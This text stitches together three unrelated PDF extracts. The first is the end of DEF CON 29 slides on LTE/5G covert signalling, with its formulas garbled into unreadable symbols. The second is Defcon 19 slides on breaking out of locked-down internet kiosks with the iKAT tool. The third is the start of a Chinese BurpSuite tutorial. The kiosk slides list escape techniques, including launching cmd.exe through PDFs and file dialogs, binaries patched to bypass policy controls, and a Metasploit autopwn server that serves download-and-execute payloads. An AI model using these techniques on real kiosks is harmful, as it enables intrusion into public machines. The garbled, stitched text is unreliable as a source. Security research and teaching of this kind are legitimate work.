𝑹𝒂𝒌𝒂𝒌𝒌 𝑲𝒓𝒌𝒓. 𝑹𝒂𝒌𝒓 𝝍 𝒓𝒈𝒙𝒂 𝑹 𝒂𝒈𝒓𝒓 B 4 2 F A C E D B 4 4 2 F F A C E D …. 011101000011110010 …. 𝑪𝒓𝒙𝒌𝒓𝒌 𝑯𝒂𝒓𝒈 𝑪𝒓𝒌𝒂𝒓𝒈𝒌𝒌 (𝑲𝑪𝟏, 𝑹𝑯𝑨𝟏, … ) 5 0 7 2 5 0 7 2 …. 111100000111011111 …. …. 010001 …. …. 111100000111011111 …. 4 2 F 2 𝑪𝑯𝑪 𝑶𝒓𝒓𝒌𝒓𝒓 𝒓𝒈𝒙𝒂 𝑲 𝒂𝒈𝒓𝒓 𝑹𝒂𝒌𝒂𝒌𝒌 𝒂𝒈𝒓 𝑪𝒓𝒂𝒓𝒓𝒓𝒂 𝑲𝒂𝒓𝒌 (𝒂𝑲) 𝟏𝑲 − 𝑲 + 𝑹 𝒂𝒈𝒓𝒓 (𝑲𝒓𝒈𝟏) (𝑲𝒓𝒈𝟏) • Extensible Loss-Induced Security Hashing Algo • New Salting to reduce Short-String hash collision • Infeasible to construct rainbow table or forward- error correction code books • Could have other applications other than secure RACH 28 v WRAP UP 29 Disclosure Timeline Dec 2020 PoC Recording with UEsim & UXM 5G Oct 2020 Engaging CSG and Millan Team for PoC Sep 2020 Internal Review & Presentation Apr 2021 CVD-2021-0045: GSMA Disclosure & Hall of Fame May 2021 Remediation US Patent Submission (in progress) TBD 2021 Remediation adoption in 3GPP Aug 2021 Presenting at DEF CON 29 Feb 2020 Inception of Idea Jan 2021 Remediation Dev & GSMA Submission 30 • Utilize lateral thinking and your peers! • There’s a nice sweet spot between building your own wireless protocol or piggy backing on top of the application layer for hidden communication. Just because it’s layer 2 doesn’t mean it’s a short distance. • We don’t think LTE and 5G are the only radio accessible systems with this kind of problem. Start researching other MAC layer negotiation protocols, notably for wireless systems, like satellites. • LTE and 5G is for everyone now - CBRS Concluding Bit This Photo by Unknown Author is licensed under CC BY-SA-NC 31 • Many thanks to Keysight Engineering Team in Millan: • Befekadu Mengesha • Luca Mapelli • Thanks to ATI management staff: • Chuck McAuley • Chris Moore • Steve McGregory • Thanks to Keysight IP program coordinator: • Pete Marsico • Thanks DEFCON! Thank You’s and Contact Reza • https://twitter.com/darthsohos • https://www.linkedin.com/in/sohos Chuck • https://twitter.com/nobletrout
pdf
Internet Kiosk Terminals The Redux Paul Craig – Security-Assessment.com Defcon 19 – Las Vegas  Hello Defcon 19  My name is Paul Craig  I work at Security-Assessment.com as a penetration tester.  I love to hack stuff, its my life, and my profession.  If you have any questions or comments – Please email me  Paul@ha.cked.net People in my life have told me that I have an Addictive Personality My obsession with Kiosk hacking began to have a negative effect on my life… Hacking Kiosks controlled me. “Paul, You just need a distraction”  My colleagues at SA know me as “That Crazy Kiosk Guy”  “All I do is Hack Internet Kiosks”  Its my secret addiction.  Whenever I see an Internet Kiosk, I have to hack it.  I cant stop myself.  I have a problem, its an addiction.  The 8 Stages of Grief: #7 Acceptance  “Someone has to be hacking these damn Kiosks, so why not you?”  I am the only guy in the world with a Kiosk addiction. Without my effort the vendors might win.  I decided to take ownership of my passion  Embrace my addiction  “Ill just fucking hack all of them”  Every vendor, every product, every platform.  Yeah fuck it, why not.?  One guy from NZ vs The Kiosk Software Industry  The Overview  What is a Kiosk  How Kiosk Security Works  What is iKAT  My Methodology and Approach  iKAT v4 – Whats New  Demos, Demos, Demos, Demos  Hacking Kiosks with Paul  Live Demos  What is an Internet Kiosk ?  A machine that takes payment to let you surf the internet  Typically an x86 desktop running Windows or Linux  Found at hotels, motels, airports, libraries, lobbies, casinos.. They look like this: How Kiosks Are Secured  Kiosk vendors take security seriously  The majority of functionality in Kiosk software is security related  A secure Kiosk is an expensive Kiosk  Lock Downed, Secured, Hardened, Protected Environments This is because hackers LOVE hacking Kiosks! How Kiosks Are Secured 1. User Interface Security  Graphically jailed into a Kiosk interface  Cut-down/reduced functionality desktop  No way to get back to “Windows” or run explorer, cmd.exe 2. Activity Blacklist  Everything you do is monitored and unlawful activity is blocked  Configurable blacklists:  Windows displayed, Buttons clicked  Processes executed, API‟s called 3. Locked-Down Host Environment  Kiosk user has no rights, no privileges  Cannot run binaries on the Kiosk  Four things I have learnt about Kiosks  1) Blacklists Just Don‟t Work  The security industry knows this, why don‟t Kiosk vendors ?  Thousand different ways to do anything  Kiosk blacklists are never able to stop EVERY method  2) Websites Visited From A Kiosk Are Overlooked  A remote website often has more access to the Kiosk than you.  Kiosks rely on a default browser security policy (Typically Internet Explorer)  3) Browsers Implement „Security By User Interaction‟  Browser technology will trust the person on the keyboard  “Are you sure you want to run this?”  4) Physical Access Always Wins. Microsoft‟s Ten immutable laws of security.  Operating systems will trust the local user  Kiosk software must go against the grain of design  “It Only Takes One Instance”  Every instance of trusting the local user has to be blocked  It only takes one instance of trust to hack a Kiosk  Hacking Kiosks  The great thing about hacking Kiosks is that its easy!  Its like solving a puzzle or doing a Sudoku  Our goal: Pop Shell ( Spawn cmd, explorer, xterm)  How could you run cmd.exe on Windows  If you only had Internet Explorer open  And no Task Bar (“Start”)  In a nut shell this is what Kiosk hacking is all about.  Finding a way of escaping the Kiosk environment  What is iKAT ? – Interactive Kiosk Attack Tool  iKAT is a SAAS website that you visit from a Kiosk  One-Stop-Shop for escaping jailed browser environments  Contains simple tools in one handy place  First launched at Defcon 16, iKAT is now up to v4  Defcon 19 - iKAT Vengeance Edition  iKAT has become the de facto standard for Kiosk hacking  On average 25-30 Kiosks per day „visit‟ iKAT  During Defcon 18 my traffic stats increased ten fold!  My Approach for Hacking Kiosks:  This is how I break Kiosk software  #1 - Identify the platform and vendor software in use  Look for a logo or brand name associated with the Kiosk  Is the look and feel similar to Windows, or Linux ?  Determining the platform allows for specific targeting  Find what applications are installed  iKAT : “Detect Installed Applications”  #2 – Enumerate All Available Windows  Systematically click every button, window, link  Shift-Click, Ctrl-Click, Double Click, Right Click  Can you spawn a common Dialog ?  File -> Open, File -> Save, File-> Print  Common Dialogs have Explorer controls  Browse to C:\Windows\system32, cmd.exe open…  Controls are also WebDAV Enabled (They can Download / Upload )  #3 – Enumerate Registered File Handlers  Any installed application can be used to escape a Kiosk  Image Viewer, Media Player, PDF Reader  Use an innocent file type to spawn a binary or escape the Kiosk  PDF File with /Launch cmd.exe  ASX With embedded web content  DOCX with embedded binaries  XLS with embedded VBA Macro‟s  What file types will the Kiosk let us download  Direct file type “test.exe”, “test.exe?.txt”  Content Disposition attachment download  Flash DownloadURL object  #4 – Enumerate Registered URI Protocol Handlers  Spawn an application from a URI handler  mailto://. Callto://, hcp://, shell::, file://, mms://, ftp://  Image Viewer, Media Player, PDF Reader  Can we spawn one of these URI handlers  Does the handling application contains a common dialog ?  Can we launch content from within the URI handler  Does the Kiosk software support any internal URI handlers ?  Admin://  Skconfig://  #5 – Can I Install / Run My Own Browser Add-on  ActiveX, Click Once(.NET), Java, SilverLight, Flash  Java, ActiveX and ClickOnce can spawn processes.  They can also create Common Dialogs  iKAT v1 was full of browser add-ons.  Vendors caught up quickly: ”Trusted CA *Signed* Add-ons only”  Signed Vs Unsigned Code: The $500 Problem.  “Please donate to iKAT so I can buy a Code Signing Certificate”  iKAT now supports 100% signed code, from a trusted CA  #6 – Crash the Kiosk  The fastest way to escape a Kiosk jail is to crash it.  Emo-Kiosking: “I cut myself to release the pain”  Create an unhandled exception in the browser  Crash the browser back to the desktop  Flash, ActiveX, Java, JavaScript, VBScript, PDF files, HTML Rendering, Malformed Images  Browsers just love to crash!  Unhandled exceptions are a huge security issue with Kiosks.  #7 – Win Shell Hacking  iKAT features tools to help you hack the Windows Shell environment.  Make Visible – Use ShowWindow() to enable all hidden Windows  Anti Virus, Backup, Remote Admin, Kiosk Software often have hidden Windows that are set WS_Visible False.  Debug Windows  Hidden Administrative Windows  Log messages iKAT – What's New?  When iKAT was first launched it had GREAT success  “5 seconds, 50 shells.”  Then the vendors found out and fixed my attack vectors.  Some vendors simply blocked ikat.ha.cked.net  Other vendors used iKAT as a testing bed for their own security.  Cat and Mouse Game  Every year I find new vulnerabilities in Kiosk products  Every year the vendors fix the vulnerabilities I discover  The following year it gets harder.  Its getting much harder.. But I keep trying!  Finding new features to add to iKAT also becomes harder  Windows Group Policy + SRP Bypass  Kiosk admins love to implement Windows group policy  “Command Prompt has been Disabled by your System administrator”  iKAT V features an extensive collection of “Unlocked” Windows binaries  cscript, cmd, osk, regedit, explorer, control, taskmgr, sc, wscript, runonce, rasphone.  Pre-patched Windows binaries which will not validate any local group policies  Modified to bypass SRP + App Locker rules (hash, certificate, file name)  iKAT has added MetaSploit Magic  The iKAT server now hosts a dedicated Metasploit instance  Serving download_exec payloads which will run iKAT payloads  Dedicated “AutoPwn” Server  One Click – Shells.  Most Kiosks are shipping with unpatched browser libraries  Kiosks themselves are not patched  Metasploit Autopwn has a good rate of success.  File Reflection  The iKAT server now services to help you compromise a Kiosk  “Send me content from a Kiosk via File Upload and iKAT will analyse it for you”  Windows Registry Files  Web Based Hex Editor  Cache Analyser  Ok, enough talking  Lets hack some Kiosks.  Conclusions  I am addicted to Kiosks  Hacking Kiosks is easy, enjoyable and creative  If you haven't done it before, try it.  If one guy from NZ can do this, just think what you can do.  Ideas, Comments? Please send me suggestions: Paul@ha.cked.net
pdf
1.1 1.2 1.3 1.4 1.5 1.6 1.7 1.8 1.9 1.10 1.11 1.12 1.13 1.14 1.15 1.16 1.17 1.18 1.19 1.20 1.21 TableofContents 引子 第一章BurpSuite安装和环境配置 第二章BurpSuite代理和浏览器设置 第三章如何使用BurpSuite代理 第四章SSL和Proxy高级选项 第五章如何使用BurpTarget 第六章如何使用BurpSpider 第七章如何使用BurpScanner 第八章如何使用BurpIntruder 第九章如何使用BurpRepeater 第十章如何使用BurpSequencer 第十一章如何使用BurpDecoder 第十二章如何使用BurpComparer 第十三章数据查找和拓展功能的使用 第十四章BurpSuite全局参数设置和使用 第十五章BurpSuite应用商店插件的使用 第十六章如何编写自己的BurpSuite插件 第十七章使用BurpSuite测试WebServices服务 第十八章使用Burp,Sqlmap进行自动化SQL注入渗透测试 第十九章使用Burp、PhantomJS进行XSS检测 第二十章使用Burp、AndroidKiller进行安卓app渗透测试 1 BurpSuite实战指南 引子 刚接触web安全的时候,非常想找到一款集成型的渗透测试工具,找来找去,最终选择了 BurpSuite,除了它功能强大之外,还有就是好用,易于上手。于是就从网上下载了一个破解 版的来用,记得那时候好像是1.2版本,功能也没有现在这么强大。在使用的过程中,慢慢发 现,网上系统全量的介绍BurpSuite的书籍太少了,大多是零星、片段的讲解,不成体系。后 来慢慢地出现了不少介绍BurpSuite的视频,现状也变得越来越好。但每每遇到不知道的问题 时,还是不得不搜寻BurpSuite的官方文档和英文网页来解决问题,也正是这些问题,慢慢让 我觉得有必要整理一套全面的BurpSuite中文教程,算是为web安全界做尽自己的一份微薄之 力,也才有了你们现在看到的这一系列文章。 我给这些文章取了IT行业图书比较通用的名称:《BurpSuite实战指南》,您可以称我为中文编 写者,文章中的内容主要源于BurpSuite官方文档和多位国外安全大牛的经验总结,我只是在 他们的基础上,结合我的经验、理解和实践,编写成现在的中文教程。本书我也没有出版成 纸质图书的计划,本着IT人互联分享的精神,放在github,做免费的电子书。于业界,算一份 小小的贡献;于自己,算一次总结和锻炼。 以上,是为小记。 感谢您阅读此书,阅读过程中,如果发现错误的地方,欢迎发送邮件到t0data@hotmail.com, 感谢您的批评指正。 本书包含以下章节内容: 第一部分BurpSuite基础 1. BurpSuite安装和环境配置 2. BurpSuite代理和浏览器设置 3. 如何使用BurpSuite代理 4. SSL和Proxy高级选项 5. 如何使用BurpTarget 6. 如何使用BurpSpider 7. 如何使用BurpScanner 8. 如何使用BurpIntruder 9. 如何使用BurpRepeater 10. 如何使用BurpSequencer 11. 如何使用BurpDecoder 引子 2 12. 如何使用BurpComparer 第二部分BurpSuite高级 1. 数据查找和拓展功能的使用 2. BurpSuite全局参数设置和使用 3. BurpSuite应用商店插件的使用 4. 如何编写自己的BurpSuite插件 第三部分BurpSuite综合使用 1. 使用BurpSuite测试WebServices服务 2. 使用Burp,Sqlmap进行自动化SQL注入渗透测试 3. 使用Burp、PhantomJS进行XSS检测 4. 使用Burp、AndroidKiller进行安卓app渗透测试 引子 3 第一章BurpSuite安装和环境配置 BurpSuite是一个集成化的渗透测试工具,它集合了多种渗透测试组件,使我们自动化地或手 工地能更好的完成对web应用的渗透测试和攻击。在渗透测试中,我们使用BurpSuite将使得 测试工作变得更加容易和方便,即使在不需要娴熟的技巧的情况下,只有我们熟悉BurpSuite 的使用,也使得渗透测试工作变得轻松和高效。 BurpSuite是由Java语言编写而成,而Java自身的跨平台性,使得软件的学习和使用更加方 便。BurpSuite不像其他的自动化测试工具,它需要你手工的去配置一些参数,触发一些自动 化流程,然后它才会开始工作。 BurpSuite可执行程序是java文件类型的jar文件,免费版的可以从免费版下载地址进行下载。 免费版的BurpSuite会有许多限制,很多的高级工具无法使用,如果您想使用更多的高级功 能,需要付费购买专业版。专业版与免费版的主要区别有 1. BurpScanner 2. 工作空间的保存和恢复 3. 拓展工具,如TargetAnalyzer,ContentDiscovery和TaskScheduler 本章主要讲述BurpSuite的基本配置,包含如下内容: 如何从命令行启动BurpSuite</br> 如何设置JVM内存大小</br> IPv6问题调试 如何从命令行启动BurpSuite BurpSuite是一个无需安装软件,下载完成后,直接从命令行启用即可。但BurpSuite是用 Java语言开发的,运行时依赖于JRE,需要提前Java可运行环境。如果没有配置Java环境或 者不知道如何配置的童鞋请参考win7电脑上的Java环境配置配置完Java环境之后,首先验证 Java配置是否正确,如果输入java-version出现下图的结果,证明配置正确且已完成。 这时,你只要在 cmd里执行java-jar/your_burpsuite_path/burpSuite.jar即可启动BurpSuite,或者,你将Burp Suite的jar放入class_path目录下,直接执行java-jarburpSuite.jar也可以启动。 ==注意:your_burpsuite_path为你BurpSuite所在路径,burpSuite.jar文件名必须跟你下载的 jar文件名称一致== 第一章BurpSuite安装和环境配置 4 如何设置JVM内存大小 如果Java可运行环境配置正确的话,当你双击burpSuite.jar即可启动软件,这时,BurpSuite 自己会自动分配最大的可用内存,具体实际分配了多少内存,默认一般为64M。当我们在渗 透测试过程,如果有成千上万个请求通过BurpSuite,这时就可能会导致BurpSuite因内存不 足而崩溃,从而会丢失渗透测试过程中的相关数据,这是我们不希望看到的。因此,当我们 启动BurpSuite时,通常会指定它使用的内存大小。一般来说,我们通常会分配2G的内存供 BurpSuite使用,如果你的电脑内存足够,可以分配4G;如果你的电脑内存足够小,你也可 以分配128M。当你给BurpSuite分配足够多的内存时,它能做的工作也会更多。指定Burp Suite占用内存大小的具体配置方法是在启动脚本里添加如下命令行参数:假设启动脚本的名 称为burp_suite_start.bat,则该bat脚本的内容为 java-jar-Xmx2048M/your_burpsuite_path/burpsuite.jar 其中参数-Xmx指定JVM可用的最大内存,单位可以是M,也可以是G,如果是G为单位的话, 则脚本内容为: java-jar-Xmx2G/your_burpsuite_path/burpsuite.jar 更多关于JVM性能调优的知识请阅读OracleJVMTuning IPv6问题调试 BurpSuite是不支持IPv6地址进行数据通信的,这时在cmd控制台里就会抛出如下异常 java.net.SocketException:Permissiondenied 同时,浏览器访问时,也会出现异常 Burpproxyerror:Permissiondenied:connect 当出现如上问题时,我们需要修改启动脚本,添加对IPv4的指定后,重启BurpSuite即可。 java-jar-Xmx2048M-Djava.net.preferIPv4Stack=true/your_burpsuite_path/burpsuite.j ar 通过-Djava.net.preferIPv4Stack=true参数的设置,告诉Java运行环境,使用IPv4协议栈进行 数据通信,IPv6协议将会被禁止使用。这个错误最常见于64位的windows操作系统上,使用 了32位的JDK 第一章BurpSuite安装和环境配置 5 第一章BurpSuite安装和环境配置 6 第二章BurpSuite代理和浏览器设置 BurpSuite代理工具是以拦截代理的方式,拦截所有通过代理的网络流量,如客户端的请求数 据、服务器端的返回信息等。BurpSuite主要拦截http和https协议的流量,通过拦截,Burp Suite以中间人的方式,可以对客户端请求数据、服务端返回做各种处理,以达到安全评估测 试的目的。 在日常工作中,我们最常用的web客户端就是的web浏览器,我们可以通过代理的设置,做到 对web浏览器的流量拦截,并对经过BurpSuite代理的流量数据进行处理。 下面我们就分别看看IE、Firefox、GoogleChrome下是如何配置BurpSuite代理的。 IE设置 当BurpSuite启动之后,默认分配的代理地址和端口是127.0.0.1:8080,我们可以从Burp Suite的proxy选项卡的options上查看。如图: 现在,我们通过如下步骤的设置即可完成IE通过BurpSuite代理的相关配置。 1. 启动IE浏览器 2. 点击【工具】菜单,选择【Internet】选项 第二章BurpSuite代理和浏览器设置 7 3. 打开【连接】选项卡,点击【局域网设置】,进行代理设置。 4. 在代理服务器设置的地址输入框中填写127.0.0.1,端口填写8080,点击【确定】,完成代 第二章BurpSuite代理和浏览器设置 8 理服务器的设置。 5. 这时,IE的设置已经完成,你可以访问http://burp将会看到BurpSuite的欢迎界面。 FireFox设置 与IE的设置类似,在FireFox中,我们也要进行一些参数设置,才能将FireFox浏览器的通信流 量,通过BurpSuite代理进行传输。详细的步骤如下: 1. 启动FireFox浏览器,点击【工具】菜单,点击【选项】。 2. 在新打开的about:preferences#advanced窗口中,依次点击【高级】-【网络】,我们将 会看到FireFox连接网络的设置选项。 第二章BurpSuite代理和浏览器设置 9 3. 点击【设置】,在弹出的【连接设置】对话框中,找到“http代理”,填写127.0.0.1,端口 填写8080,最后点击【确认】保存参数设置,完成FireFox的代理配置。 当然,FireFox浏览器中,可以添加FireFox的扩展组件,对代理服务器进行管理。例如 FireXProxy、ProxySwither都是很好用的组件,感兴趣的读者可以自己下载试用一下。 GoogleChrome设置 GoogleChrome使用BurpSuite作为代理服务器的配置步骤如下: 1. 启动GoogleChrome浏览器,在地址栏输入chrome://settings/,回车后即显示Google Chrome浏览器的配置界面 第二章BurpSuite代理和浏览器设置 10 2. 点击底部的【显示高级设置】,将显示GoogleChrome浏览器的高级设置。 第二章BurpSuite代理和浏览器设置 11 3. 当然,你也可以直接在搜索框中输入“代理”,回车后将自动定位到代理服务器设置功能。 第二章BurpSuite代理和浏览器设置 12 4. 点击【更改代理服务器设置】,windows系统下将会弹出IE浏览器的代理设置,此时,按 照IE浏览器的设置步骤,完成代理服务器的配置即可。 除了上述的三种常用的浏览器外,还有Safari浏览器也有不少的用户在使用,其代理配置请点 击阅读进行查看。 第二章BurpSuite代理和浏览器设置 13 第三章如何使用BurpSuite代理 BurpProxy是BurpSuite以用户驱动测试流程功能的核心,通过代理模式,可以让我们拦截、 查看、修改所有在客户端和服务端之间传输的数据。 本章主要讲述以下内容: BurpProxy基本使用 数据拦截与控制 可选项配置Options 历史记录History BurpProxy基本使用 通过上一章的学习,我们对BurpSuite代理模式和浏览器代理设置有了基本的了解。Burp Proxy的使用是一个循序渐进的过程,刚开始使用时,可能并不能很快就获取你所期望的结 果,慢慢地当你熟悉了它的功能和使用方法,你就可以用它很好地对一个产品系统做安全能 力评估。一般使用BurpProxy时,大体涉及环节如下: 1. 首先,确认JRE已经安装好,BurpSuite可以启动并正常运行,且已经完成浏览器的代理 服务器配置。 2. 打开Proxy功能中的Intercept选项卡,确认拦截功能为“Interceptionison”状态,如果显示 为“Interceptisoff”则点击它,打开拦截功能。 3. 打开浏览器,输入你需要访问的URL(以http://baike.baidu.com/为例)并回车,这时你 将会看到数据流量经过BurpProxy并暂停,直到你点击【Forward】,才会继续传输下 去。如果你点击了【Drop】,则这次通过的数据将会被丢失,不再继续处理。 4. 当我们点击【Forward】之后,我们将看到这次请求返回的所有数据。 第三章如何使用BurpSuite代理 14 5. 当BurpSuite拦截的客户端和服务器交互之后,我们可以在BurpSuite的消息分析选项卡 中查看这次请求的实体内容、消息头、请求参数等信息。消息分析选项视图主要包括以 下四项: 6. Raw这是视图主要显示web请求的raw格式,包含请求地址、http协议版本、主机头、浏 览器信息、Accept可接受的内容类型、字符集、编码方式、cookie等。你可以通过手工 修改这些信息,对服务器端进行渗透测试。 7. params这个视图主要显示客户端请求的参数信息、包括GET或者POST请求的参数、 Cookie参数。渗透人员可以通过修改这些请求参数来完成对服务器端的渗透测试。 8. headers这个视图显示的信息和Raw的信息类似,只不过在这个视图中,展示得更直观、 友好。 9. Hex这个视图显示Raw的二进制内容,你可以通过hex编辑器对请求的内容进行修改。 默认情况下,BurpProxy只拦截请求的消息,普通文件请求如css、js、图片是不会被拦截 的,你可以修改默认的拦截选项来拦截这些静态文件,当然,你也可以通过修改拦截的作用 域、参数或者服务器端返回的关键字来控制BurpProxy的消息拦截,这些在后面的章节中我 第三章如何使用BurpSuite代理 15 们会进一步的学习。所有流经BurpProxy的消息,都会在httphistory记录下来,我们可以通 过历史选项卡,查看传输的数据内容,对交互的数据进行测试和验证。同时,对于拦截到的 消息和历史消息,都可以通过右击弹出菜单,发送到Burp的其他组件,如Spider、Scanner、 Repeater、Intruder、Sequencer、Decoder、Comparer、Extender,进行进一步的测试。如 下图所示: 数据拦截与控制 BurpProxy的拦截功能主要由Intercept选项卡中的Forward、Drop、Interceptionison/off、 Action、Comment以及Highlight构成,它们的功能分别是:Forward的功能是当你查看过消 息或者重新编辑过消息之后,点击此按钮,将发送消息至服务器端。Drop的功能是你想丢失 当前拦截的消息,不再forward到服务器端。Interceptionison表示拦截功能打开,拦截所有 通过BurpProxy的请求数据;Interceptionisoff表示拦截功能关闭,不再拦截通过Burp Proxy的所有请求数据。Action的功能是除了将当前请求的消息传递到Spider、Scanner、 Repeater、Intruder、Sequencer、Decoder、Comparer组件外,还可以做一些请求消息的修 改,如改变GET或者POST请求方式、改变请求body的编码,同时也可以改变请求消息的拦 截设置,如不再拦截此主机的消息、不再拦截此IP地址的消息、不再拦截此种文件类型的消 息、不再拦截此目录的消息,也可以指定针对此消息拦截它的服务器端返回消息。 第三章如何使用BurpSuite代理 16 Comment的功能是指对拦截的消息添加备注,在一次渗透测试中,你通常会遇到一连串的请 求消息,为了便于区分,在某个关键的请求消息上,你可以添加备注信息。 Highlight的功能与Comment功能有点类似,即对当前拦截的消息设置高亮,以便于其他的请 求消息相区分。 除了Intercept中可以对通过Proxy的消息进行控制外,在可选项设置选项卡Options中也有很多 的功能设置也可以对流经的消息进行控制和处理。 第三章如何使用BurpSuite代理 17 可选项配置Options 当我们打开可选项设置选项卡Options,从界面显示来看,主要包括以下几大板块(涉及https 的功能不包含在本章内容里,后面会一章专门叙述): 客户端请求消息拦截 服务器端返回消息拦截 服务器返回消息修改 正则表达式配置 其他配置项 客户端请求消息拦截 客户端请求消息拦截是指拦截客户端发送到服务器端消息的相关配置选项,其界面如下: 主要包含拦截规则配置、错误消息自动修复、自动更新Content-Length消息头三个部分。 1. 如果interceptrequestbasedonthefollowrules的checkbox被选中,则拦截所有符合勾 选按钮下方列表中的请求规则的消息都将被拦截,拦截时,对规则的过滤是自上而下进 行的。当然,我们可以根据自己的需求,通过【Up】和【Down】按钮,调节规则所在位 置和排序。同时,我们可以点击【Add】添加一条规则,也可以选中一条规则,通过点击 【Edit】进行编辑、点击【Remove】进行删除。当我们点击【Add】按钮时,会弹出规 则添加的输入对话框,如下图: 第三章如何使用BurpSuite代理 18 拦截规则添加时,共包含4 个输入项。Booleanopertor表示当前的规则与其他规则是与的方式(And)还是或的方式 (Or)共存;Matchtype表示匹配类型,此处匹配类型可以基于域名、IP地址、协议、 请求方法、URL、文件类型、参数,cookies,头部或者内容,状态码,MIME类型,HTML页 面的title等。Matchrelationship表示此条规则是匹配还是不匹配Matchcondition输入的关 键字。当我们输入这些信息,点击【OK】按钮,则规则即被保存。 2. 如果Automaticallyfixmissing的checkbox被选中,则表示在一次消息传输中,BurpSuite 会自动修复丢失或多余的新行。比如说,一条被修改过的请求消息,如果丢失了头部结 束的空行,BurpSuite会自动添加上;如果一次请求的消息体中,URl编码参数中包含任 何新的换行,BurpSuite将会移除。此项功能在手工修改请求消息时,为了防止错误,有 很好的保护效果。 3. 如果AutomaticallyupdateContent-Length的checkbox被选中,则当请求的消息被修改 后,Content-Length消息头部也会自动被修改,替换为与之相对应的值。 服务器端返回消息拦截 服务器端返回消息拦截顾名思义是指拦截服务器端返回的消息的相关配置项,其界面如下: 它的功能主要包含interceptresponsebasedonthefollowrules和Automaticallyupdate 第三章如何使用BurpSuite代理 19 Content-Lengthheaderwhentheresponseedited两个选项,其功能分别与客户端请求消息 拦截中的interceptrequestbasedonthefollowrules、AutomaticallyupdateContent-Length headerwhentherequestedited相对应,就不在赘述,请参上一节的内容。 服务器返回消息修改 服务器返回消息修改是指自动修改服务器端返回消息的相关设置项。其界面如下: 自上而下,每 一个选择项分别对应的功能是 显示form表单中隐藏字段 高亮显示form表单中隐藏字段 使form表单中的disable字段生效,变成可输入域 移除输入域长度限制 移动JavaScript验证 移动所有的JavaScript 移除标签 转换https超链接为http链接 移除所有cookie中的安全标志 通过服务器返回消息修改可选择项的设置,可以方便渗透测试人员在安全评估过程中突破原 有的数据限制,更好、更快地检测服务器端的安全性。 正则表达式配置 第三章如何使用BurpSuite代理 20 此项配置主要用来自动替换请求消息和服务器端返回消息中的某些值和文本,它与前文的规 则的不同之处还在于支持正则表达式语言。 当点击【Add】按钮时,在弹出的匹配或替换规则输入对话框中我们可以看到,它可以对请求 和返回消息的消息头,消息体、请求参数名、请求参数值、请求的第一行进行匹配和替换。 例如,当我们要替换所有返回消息中的邮箱地址为t0data@burpsuite.com时,可以参考下图 的设置填写输入项并保存验证。 其他配置项 第三章如何使用BurpSuite代理 21 其他配置项主要是杂项设置。其界面如下: 自上而下依次的功能是 指定使用HTTP/1.0协议与服务器进行通信这项设置用于强制客户端采用HTTP/1.0协议与 服务器进行通信,一般客户端使用的HTTP协议版本依赖于客户端浏览器,但某些服务器 或者应用,必须使用HTTP/1.0协议,此时可勾选此项 指定使用HTTP/1.0协议反馈消息给客户端目前所有的浏览器均支持HTTP/1.0协议和 HTTP/1.1协议,强制指定HTTP/1.0协议主要用于显示浏览器的某些方面的特征,比如, 阻止HTTP管道攻击。 设置返回消息头中的“Connection:close”可用于某些情况下的阻止HTTP管道攻击。 请求消息头中脱掉Proxy-*浏览器请求消息中,通常会携带代理服务器的相关信息,此选 项主要用于清除消息头中的代理服务器信息。 解压请求消息中的压缩文件某些应用在与服务器端进行交互时,会压缩消息体,勾选此 选项,则BurpSuite会自动解压消息体 解压返回消息中的压缩文件大多数浏览器支持压缩的消息体,勾选此选项,则Burp Suite会自动解压被服务器端压缩的消息体 禁用http://burp 允许通过DNS和主机名访问web接口即允许通过域名或主机名访问BurpSuite 不在浏览器中显示BurpSuite错误在我们使用BurpSuite时,如果发生了BurpSuite自身 的错误,会在浏览器中显示,如果勾选了此项,则不会在浏览器中显示此类错误。 禁用日志到历史和网站地图中此选项的作用是阻止记录日志到历史和网站地图,在某些 情况下可能有用,比如说,通过上游服务器进行认证或者做正则表达式替换时,为了降 低内存的消耗,减少日志的储存,你可以勾选此项。 第三章如何使用BurpSuite代理 22 拦截功能开始设置 这个选项主要用来配置intercept功能的生效方式,分为总是生效、总是失效、从上一次 的BurpSuite中恢复设置3种方式。 历史记录History BurpProxy的历史记录由HTTP历史和WebSockets历史两个部分组成。 HTTP历史界面由筛选过滤器、历史记录列表、消息详情3个部分组成。 当我们在某一条历史记录上单击,会在下方的消息详解块显示此条消息的文本详细信息。当 我们在某条消息上双击,则会弹出此条消息的详细对话框。 第三章如何使用BurpSuite代理 23 我们可以点击对话框右上方的【Previous】、【Next】按钮,浏览上一条或下一条消息的内 容,也可以修改Raw的请求参数,然后执行多种【Action】操作。 历史消息列表中主要包含请求序列号、请求协议和主机名、请求的方式、URL路径、请求参 数、Cookie、是否用户编辑过消息、服务器端返回的HTTP状态码等信息。通过这些信息,我 们可以对一次客户端与服务器端交互的HTTP消息详情做出准确的分析,同时,在下方的详情 第三章如何使用BurpSuite代理 24 视图中,也提供基于正则表达式方式的匹配查找功能,更好的方便渗透测试人员查找消息体 中的相关信息。 当我们在做产品系统的安全评估过程中,会在HTTP历史中保存了大量的日志记录,为了更友 好的消息管理,Burp提供了筛选过滤器功能。当我们点击HTTP历史标签下发的Filter时,将 弹出筛选过滤器界面。 按照过滤条件的不同,筛选过滤器划分出7个子板块,分别是 按照请求类型过滤你可以选择仅显示当前作用域的、仅显示有服务器端响应的和仅显示 带有请求参数的消息。当你勾选“仅显示当前作用域”时,此作用域需要在BurpTarget的 Scope选项中进行配置,详细请阅读BurpTarget相关章节。 按照MIME类型过滤你可以控制是否显示服务器端返回的不同的文件类型的消息,比如只 显示HTML、css或者图片。此过滤器目前支持HTML、Script、XML、CSS、其他文本、 图片、Flash、二进制文件8种形式。 按照服务器返回的HTTP状态码过滤Burp根据服务器的状态码,按照2XX,3XX,4XX,5XX 分别进行过滤。比如,如果你只想显示返回状态码为200的请求成功消息,则勾选2XX。 第三章如何使用BurpSuite代理 25 按照查找条件过滤此过滤器是针对服务器端返回的消息内容,与输入的关键字进行匹 配,具体的匹配方式,你可以选择1.正则表达式2.大小写敏感3.否定查找3种方式的任 何组合,前面两种匹配方式容易理解,第3种匹配方式是指与关键字匹配上的将不再显 示。 按照文件类型过滤通过文件类型在过滤消息列表,这里有两个选择可供操作。一是仅仅 显示哪些,另一个是不显示哪些。如果是仅仅显示哪些,在showonly的输入框中填写显 示的文件类型,同样,如果不显示哪些文件类型,只要在hide的输入框中填写不需要显示 的文件类型即可。 按照注解过滤此过滤器的功能是指,根据每一个消息拦截时候的备注或者是否高亮来作 为筛选条件控制哪些消息在历史列表中显示。 按照监听端口过滤此过滤器通常使用于当我们在ProxyListeners中多个监听端口时,仅 仅显示某个监听端口通信的消息,一般情况下,我们很少用到。 